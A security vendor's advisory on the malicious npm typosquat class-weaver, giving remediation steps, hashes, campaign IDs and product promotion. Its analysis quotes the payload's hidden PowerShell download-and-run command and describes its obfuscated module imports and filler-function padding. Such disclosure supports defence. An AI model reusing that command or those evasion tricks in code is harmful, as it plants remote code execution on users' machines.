Which versions of class-weaver are malicious?

The following npm versions of class-weaver are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate class-weaver if I installed it?

class-weaver is a typosquat — you almost certainly intended a legitimately-named package. Remove class-weaver, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed class-weaver — how do I know if it already compromised me?

If class-weaver was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is class-weaver part of a known attack campaign?

Yes — class-weaver is associated with the IN-MAL-2026-004521, GHSA-jx4m-wmh7-wmhr campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find class-weaver across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for class-weaver (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging class-weaver across your stack and pipelines.

Malicious package

class-weavernpm

class-weaver is a confirmed malicious npm package (MAL-2026-4521) that typosquats a legitimate package to trick installs (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in class-weaver (npm)

MAL-2026-4521

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall class-weaver

What this malware does

class-weaver advertises itself as a className/theme utility (keywords clsx, utils, styling; exports named classNames and twMerge mimicking clsx/tailwind-merge), but its dist/index.js contains a hidden remote-code-execution path inside the exported applyGlobalStyles({palette, accents}) function. The function AES-256-CBC-decrypts caller-supplied hex arrays using a hardcoded 32-byte key (assembled from eight concatenated hex fragments) and spawns powershell.exe with arguments ["-WindowStyle","Hidden","-NoProfile","-Command",irm ${URL} -o $env:TEMP\s.js; node $env:TEMP\s.js] via spawnSync with windowsHide:true — downloading and executing arbitrary JavaScript on Windows installers. The node:crypto and node:child_process modules are imported through string-split array-join obfuscation (["no","de",":","cry","pto"].join("")) to evade static dependency scanning. Thousands of filler functions (isWithinBoundary1..200, mapOperation1..250, applyPreset1..150, createSequenceStep1..250, checkConstraint1..250) pad the bundle to disguise the ~30-line malicious payload. The package framing as a clsx/tailwind-merge drop-in is a lure; any consumer invoking the documented applyGlobalStyles API with attacker-controlled accent/palette values triggers fetch-and-execute of arbitrary code.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

b4e45cdd0a93db2db56ae7fd2c348305a5ce7aeab9c6fb4b2331c2a547b2c5e7

5dec440ede443477635a06cca5ac51d1e9e41996adfd432a326054402ac3e704

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for class-weaver (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging class-weaver across your stack and pipelines.
If you installed it — respond
class-weaver is a typosquat — you almost certainly intended a legitimately-named package. Remove class-weaver, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If class-weaver was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks class-weaver before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. class-weaver on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-004521GHSA-jx4m-wmh7-wmhr

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks class-weaver-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database